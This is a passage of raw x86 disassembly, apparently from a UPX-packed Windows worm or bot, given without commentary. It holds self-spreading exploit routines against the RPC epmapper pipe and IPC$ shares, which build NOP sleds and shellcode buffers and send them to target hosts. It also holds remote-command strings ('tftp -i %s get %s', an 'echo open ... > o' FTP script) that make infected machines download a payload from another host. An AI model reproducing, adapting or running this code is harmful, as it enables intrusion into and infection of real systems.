lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
mov esi, [ebp+arg_4]
lea eax, [ebp+Dest]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_4397B8
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call ds:dword_43C6B8
cmp eax, 5
mov ebx, 4C3h
jz short loc_402AA4
cmp eax, ebx
jnz short loc_402AAE
loc_402AA4: ; CODE XREF: sub_4029E0+BEj
push edi
push edi
push edi
push esi
call ds:dword_43C6B8
loc_402AAE: ; CODE XREF: sub_4029E0+C2j
cmp eax, 5
jz short loc_402ABC
cmp eax, ebx
jz short loc_402ABC
push 1
pop eax
jmp short loc_402ABE
; ---------------------------------------------------------------------------
loc_402ABC: ; CODE XREF: sub_4029E0+D1j
; sub_4029E0+D5j
xor eax, eax
loc_402ABE: ; CODE XREF: sub_4029E0+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_4029E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402AC3 proc near ; CODE XREF: sub_402DCE+7Ap
; sub_402DCE+15Ap
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_426B6C
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_426B64 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, ds:byte_4397BC
pop ecx
mov byte ptr [ebp+Source], al
xor eax, eax
lea edi, [ebp+Source+1]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+Source]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call ds:dword_42306C ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
add esp, 10h
loc_402B54: ; CODE XREF: sub_402AC3+AFj
push esi
lea eax, [ebp+Dest]
push esi
push eax
call ds:dword_43C558
test eax, eax
jz short loc_402B74
push 7D0h
call ds:dword_423060 ; Sleep
jmp short loc_402B54
; ---------------------------------------------------------------------------
loc_402B74: ; CODE XREF: sub_402AC3+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_402AC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402B7B proc near ; CODE XREF: sub_402DCE+A9p
; sub_402DCE+1E7p
Src = byte ptr -3004h
Dst = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call __alloca_probe
push esi
push edi
push offset byte_42E664 ; int
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40AEDB
pop ecx
push eax ; Str
lea eax, [ebp+Src]
push 1000h ; int
push eax ; Dst
call sub_416BB9
mov edi, eax
add esp, 10h
test edi, edi
jz loc_402DCA
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h ; Size
lea eax, [ebp+Dst]
push ebx ; Src
push eax ; Dst
call _memcpy
push esi ; Size
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+var_1F2D]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [edi+0D7h]
loc_402C00: ; CODE XREF: sub_402B7B+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_402C50
mov esi, [ebp+var_4]
push 30h ; Size
lea eax, [ebp+Dst]
inc esi
push ebx ; Src
push eax ; Dst
mov [ebp+var_4], esi
call _memcpy
push esi ; Size
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Src]
push edi ; Size
push eax ; Src
lea eax, [ebp+esi+var_1FD4]
push eax ; Dst
call _memcpy
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_402C00
; ---------------------------------------------------------------------------
loc_402C50: ; CODE XREF: sub_402B7B+90j
cmp [ebp+arg_C4], 0
jz short loc_402C6B
cmp [ebp+arg_C0], 3
jz short loc_402C74
cmp [ebp+arg_C0], 0
jmp short loc_402C72
; ---------------------------------------------------------------------------
loc_402C6B: ; CODE XREF: sub_402B7B+DCj
cmp [ebp+arg_C0], 3
loc_402C72: ; CODE XREF: sub_402B7B+EEj
jnz short loc_402C7D
loc_402C74: ; CODE XREF: sub_402B7B+E5j
push 4
push offset dword_426B60
jmp short loc_402C84
; ---------------------------------------------------------------------------
loc_402C7D: ; CODE XREF: sub_402B7B:loc_402C72j
push 4 ; Size
push offset dword_426B5C ; Src
loc_402C84: ; CODE XREF: sub_402B7B+100j
lea eax, [ebp+var_1FE0]
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h ; Size
push offset dword_426694 ; Src
push eax ; Dst
call _memcpy
push 10h ; Size
lea eax, [ebp+var_CA4]
push offset dword_4269F8 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Dst]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_C94]
push eax ; Dst
call _memcpy
lea edi, [esi+370h]
push 3Ch ; Size
push offset off_426A0C ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
add edi, 3Ch
push 30h ; Size
push offset dword_426A4C ; Src
lea eax, [ebp+edi+var_1004]
push eax ; Dst
call _memcpy
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi ; Size
mov [ebp+var_E78], eax
call _malloc
add esp, 40h
mov ebx, eax
push esi ; Size
push 0 ; Val
push ebx ; Dst
call _memset
lea eax, [ebp+var_1004]
push edi ; Size
push eax ; Src
push ebx ; Dst
call _memcpy
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_402DCA: ; CODE XREF: sub_402B7B+3Ej
pop edi
pop esi
leave
retn
sub_402B7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DCE proc near ; CODE XREF: sub_407758+1E6p
; DATA XREF: UPX0:off_429CB4o
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
Dest = byte ptr -138h
var_34 = byte ptr -34h
Dst = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Memory = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1338h
call __alloca_probe
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_402F3C
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_4029E0
pop ecx
test eax, eax
pop ecx
jz loc_40304C
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+Dest]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call ds:dword_423080
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_402E53
loc_402E44: ; CODE XREF: sub_402DCE+126j
lea eax, [ebp+arg_4]
push eax
call sub_402AC3
pop ecx
jmp loc_40304C
; ---------------------------------------------------------------------------
loc_402E53: ; CODE XREF: sub_402DCE+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_40D4BC
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B7B
add esp, 0C8h
cmp eax, ebx
mov [ebp+Memory], eax
jz short loc_402EEB
mov edi, 186A0h
push edi ; Size
call _malloc
mov esi, eax
push edi ; Size
push ebx ; Val
push esi ; Dst
call _memset
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_426648
push [ebp+var_4]
call ds:dword_42307C ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_402EDB
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+Memory]
push [ebp+var_4]
call ds:dword_423078
test eax, eax
jnz short loc_402EF9
loc_402EDB: ; CODE XREF: sub_402DCE+F3j
push esi ; Memory
call _free
push [ebp+Memory] ; Memory
call _free
pop ecx
pop ecx
loc_402EEB: ; CODE XREF: sub_402DCE+B9j
push [ebp+var_4]
call ds:dword_423074
jmp loc_402E44
; ---------------------------------------------------------------------------
loc_402EF9: ; CODE XREF: sub_402DCE+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call ds:dword_423070
push [ebp+Memory] ; Memory
mov edi, eax
call _free
push esi ; Memory
call _free
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_423074
lea eax, [ebp+arg_4]
push eax
call sub_402AC3
cmp edi, 1
pop ecx
jnz loc_40305D
jmp loc_40304C
; ---------------------------------------------------------------------------
loc_402F3C: ; CODE XREF: sub_402DCE+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_40D4BC
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_40304C
xor ebx, ebx
push ebx
push 1
push 2
call ds:dword_43C698 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_40304C
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_A0]
call ds:dword_43C618 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402B7B
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+Memory], esi
jnz short loc_402FCE
push [ebp+var_4]
jmp short loc_403046
; ---------------------------------------------------------------------------
loc_402FCE: ; CODE XREF: sub_402DCE+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_402FE6
loc_402FE3: ; CODE XREF: sub_402DCE+22Aj
push esi
jmp short loc_40303F
; ---------------------------------------------------------------------------
loc_402FE6: ; CODE XREF: sub_402DCE+213j
push ebx
push 48h
push offset dword_426648
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_402FE3
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
push ebx
push [ebp+var_C]
push [ebp+Memory]
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403027
push [ebp+Memory]
jmp short loc_40303F
; ---------------------------------------------------------------------------
loc_403027: ; CODE XREF: sub_402DCE+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
push [ebp+Memory] ; Memory
cmp eax, 0FFFFFFFFh
jnz short loc_403050
loc_40303F: ; CODE XREF: sub_402DCE+216j
; sub_402DCE+257j
call _free
pop ecx
push edi
loc_403046: ; CODE XREF: sub_402DCE+1FEj
call ds:dword_43C6B0 ; closesocket
loc_40304C: ; CODE XREF: sub_402DCE+31j
; sub_402DCE+80j ...
xor eax, eax
jmp short loc_4030BE
; ---------------------------------------------------------------------------
loc_403050: ; CODE XREF: sub_402DCE+26Fj
call _free
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
loc_40305D: ; CODE XREF: sub_402DCE+163j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_338]
push offset unk_426B78 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403075: ; CODE XREF: sub_402DCE+2C7j
lea eax, [ebp+var_338]
push eax
call sub_40C04F
test eax, eax
pop ecx
jnz short loc_403099
push 1388h
call ds:dword_423060 ; Sleep
inc ebx
cmp ebx, 6
jl short loc_403075
jmp short loc_4030BB
; ---------------------------------------------------------------------------
loc_403099: ; CODE XREF: sub_402DCE+2B6j
lea eax, [ebp+var_338]
push eax
call sub_40BF6F
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc ds:dword_429CB8[eax]
lea eax, dword_429CB8[eax]
loc_4030BB: ; CODE XREF: sub_402DCE+2C9j
push 1
pop eax
loc_4030BE: ; CODE XREF: sub_402DCE+280j
pop edi
pop esi
pop ebx
leave
retn
sub_402DCE endp
; ---------------------------------------------------------------------------
jmp $+5
push 0BB80h
push 76Ch
call sub_41543F
pop ecx
mov ds:dword_4397C0, eax
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030DF proc near ; CODE XREF: sub_403240+42Ap
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_C], eax
mov ax, word ptr ds:dword_4397C0
push eax
call ds:dword_43C618 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_43C698 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403219
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_403219
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43C630 ; recv
mov esi, offset byte_42E664
push esi
push esi
push [ebp+arg_0]
call sub_40AEDB
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 18h
push esi
push esi
push ds:dword_4397EC
push [ebp+arg_0]
call sub_40AEDB
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403219
push 1F4h
call ds:dword_423060 ; Sleep
push esi
push offset aS_6 ; "%s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40321D
loc_403219: ; CODE XREF: sub_4030DF+51j
; sub_4030DF+67j ...
xor al, al
jmp short loc_40323B
; ---------------------------------------------------------------------------
loc_40321D: ; CODE XREF: sub_4030DF+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call ds:dword_43C630 ; recv
push ebx
call ds:dword_43C6B0 ; closesocket
mov al, 1
loc_40323B: ; CODE XREF: sub_4030DF+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4030DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403240 proc near ; CODE XREF: UPX0:004037A4p
; UPX0:004037C6p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
Src = byte ptr -104h
var_103 = byte ptr -103h
Dst = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
Str = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call __alloca_probe
mov eax, ds:dword_427634
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_427638
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+Str]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40327F: ; CODE XREF: sub_403240+4Ej
mov cl, [ebp+esi+Str]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40327F
push 60h ; Size
lea eax, [ebp+Dst]
push offset dword_4270B8 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl eax, 1
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_84]
push eax ; Dst
call _memcpy
add esp, 1Ch
lea eax, [ebp+Str]
push 9 ; Size
push (offset aC_2+3) ; Src
push eax ; Str
call _strlen
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
add al, 1Ah
push 1 ; Size
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax ; Src
lea eax, [ebp+var_B1]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl al, 1
add al, 9
push 1 ; Size
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax ; Src
lea eax, [ebp+var_87]
push eax ; Dst
call _memcpy
mov ax, word ptr ds:dword_4397C0
add esp, 2Ch
push eax
call ds:dword_43C618 ; htons
xor eax, 9999h
push 2 ; Size
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax ; Src
push offset dword_426DB8 ; Dst
call _memcpy
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40343C
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi ; Size
push 90h ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_C0]
push 4 ; Size
imul eax, 3Ch
lea eax, dword_4274E0[eax]
mov [ebp+var_14], eax
push eax ; Src
lea eax, [ebp+var_14E0]
push eax ; Dst
call _memcpy
mov esi, offset Str ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_14D0]
push esi ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11AC]
push offset dword_427620 ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11A8]
push [ebp+var_14] ; Src
push eax ; Dst
call _memcpy
add esp, 40h
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_119C]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_4033F5: ; CODE XREF: sub_403240+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_4033F5
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi ; Size
push 31h ; Val
push eax ; Dst
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call _memset
push esi ; Size
lea eax, [ebp+var_68DC]
push 31h ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp short loc_403493
; ---------------------------------------------------------------------------
loc_40343C: ; CODE XREF: sub_403240+118j
push 7D0h ; Size
lea eax, [ebp+var_F14]
push 90h ; Val
push eax ; Dst
call _memset
mov esi, offset Str ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_E74]
push esi ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_10]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea eax, [ebp+var_758]
push eax ; Dst
call _memcpy
mov eax, ds:dword_4274E0
add esp, 2Ch
mov [ebp+var_768], eax
loc_403493: ; CODE XREF: sub_403240+1FAj
push 0E29h ; Size
lea eax, [ebp+var_2CA8]
push 31h ; Val
push eax ; Dst
call _memset
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+Dst]
push eax
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4034D2
loc_4034CB: ; CODE XREF: sub_403240+2B9j
; sub_403240+2E0j ...
xor al, al
jmp loc_40367A
; ---------------------------------------------------------------------------
loc_4034D2: ; CODE XREF: sub_403240+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
push ebx
push 68h
push offset dword_42711C
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4034CB
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
push ebx
push 0A0h
push offset dword_427188
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4034CB
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
cmp [ebp+arg_C0], ebx
jz loc_4035E8
push 68h ; Size
lea eax, [ebp+var_89B4]
push offset dword_427340 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_4804]
push 1B5Ah ; Size
push eax ; Src
lea eax, [ebp+var_894C]
push eax ; Dst
call _memcpy
push 70h ; Size
lea eax, [ebp+var_68DC]
push offset dword_4273AC ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_3770]
push 0A5Eh ; Size
push eax ; Src
lea eax, [ebp+var_686C]
push eax ; Dst
call _memcpy
push 84h ; Size
lea eax, [ebp+var_5DA8]
push offset dword_427420 ; Src
push eax ; Dst
call _memcpy
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz loc_4034CB
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call ds:dword_43C630 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40363E
; ---------------------------------------------------------------------------
loc_4035E8: ; CODE XREF: sub_403240+2F8j
push 7Ch ; Size
lea eax, [ebp+var_2CA8]
push offset dword_42722C ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_F14]
push 7D0h ; Size
push eax ; Src
lea eax, [ebp+var_2C2C]
push eax ; Dst
call _memcpy
push 90h ; Size
lea eax, [ebp+var_245C]
push offset off_4272AC ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_40363E: ; CODE XREF: sub_403240+3A6j
push eax
push edi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz loc_4034CB
push 12Ch
call ds:dword_423060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4030DF
add esp, 0BCh
test al, al
setnz al
loc_40367A: ; CODE XREF: sub_403240+28Dj
pop edi
pop esi
pop ebx
leave
retn
sub_403240 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_41543F
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call _memset
add esp, 14h
lea eax, [ebp+0Ch]
mov word ptr [ebp-14h], 2
push eax
call ds:dword_43C658 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call ds:dword_43C618 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call ds:dword_43C698 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403787
lea eax, [ebp-14h]
push 10h
push eax
push ebx
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_403787
push edi
push 89h
push offset dword_426EA0
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403787
mov esi, 640h
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
push edi
push 0A8h
push offset dword_426F2C
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403787
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
push edi
push 0DEh
push offset dword_426FD8
push ebx
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403787
push edi
lea eax, [ebp-654h]
push esi
push eax
push ebx
call ds:dword_43C630 ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_403791
dec eax
jz short loc_40378E
loc_403787: ; CODE XREF: UPX0:004036E2j
; UPX0:004036F8j ...
xor eax, eax
jmp loc_40380E
; ---------------------------------------------------------------------------
loc_40378E: ; CODE XREF: UPX0:00403785j
push edi
jmp short loc_4037B5
; ---------------------------------------------------------------------------
loc_403791: ; CODE XREF: UPX0:00403782j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403240
add esp, 0C4h
test al, al
jnz short loc_4037D5
push 1
loc_4037B5: ; CODE XREF: UPX0:0040378Fj
push ebx
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403240
add esp, 0C4h
test al, al
jz short loc_4037DC
loc_4037D5: ; CODE XREF: UPX0:004037B1j
mov dword ptr [ebp-4], 1
loc_4037DC: ; CODE XREF: UPX0:004037D3j
push ebx
call ds:dword_43C6B0 ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40380B
lea eax, [ebp-854h]
push eax
call sub_40BF6F
mov eax, [ebp+0B0h]
pop ecx
imul eax, 3Ch
inc ds:dword_429CB8[eax]
lea eax, dword_429CB8[eax]
loc_40380B: ; CODE XREF: UPX0:004037E7j
push 1
pop eax
loc_40380E: ; CODE XREF: UPX0:00403789j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403813 proc near ; CODE XREF: sub_403A87+Ep
; sub_403A87+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403813 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40381D(void *Src,size_t Size)
sub_40381D proc near ; CODE XREF: sub_403A87+11Ep
Src = dword ptr 4
Size = dword ptr 8
push ebx
mov ebx, [esp+4+Size]
push esi
push edi
